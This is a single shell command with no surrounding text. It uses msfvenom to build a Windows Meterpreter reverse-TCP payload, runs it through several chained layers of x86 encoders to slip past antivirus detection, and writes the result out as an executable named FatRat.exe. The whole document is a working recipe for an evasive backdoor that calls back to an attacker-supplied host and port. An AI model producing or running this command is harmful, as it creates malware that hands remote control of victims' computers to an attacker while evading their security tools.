msfvenom -p windows/meterpreter/reverse_tcp LHOST=$yourip LPORT=$yourport -f raw -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/jmp_call_additive -i 1| msfvenom -a x86 --platform windows -e x86/call4_dword_xor -i 1 | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 9 -f exe -o FatRat.exe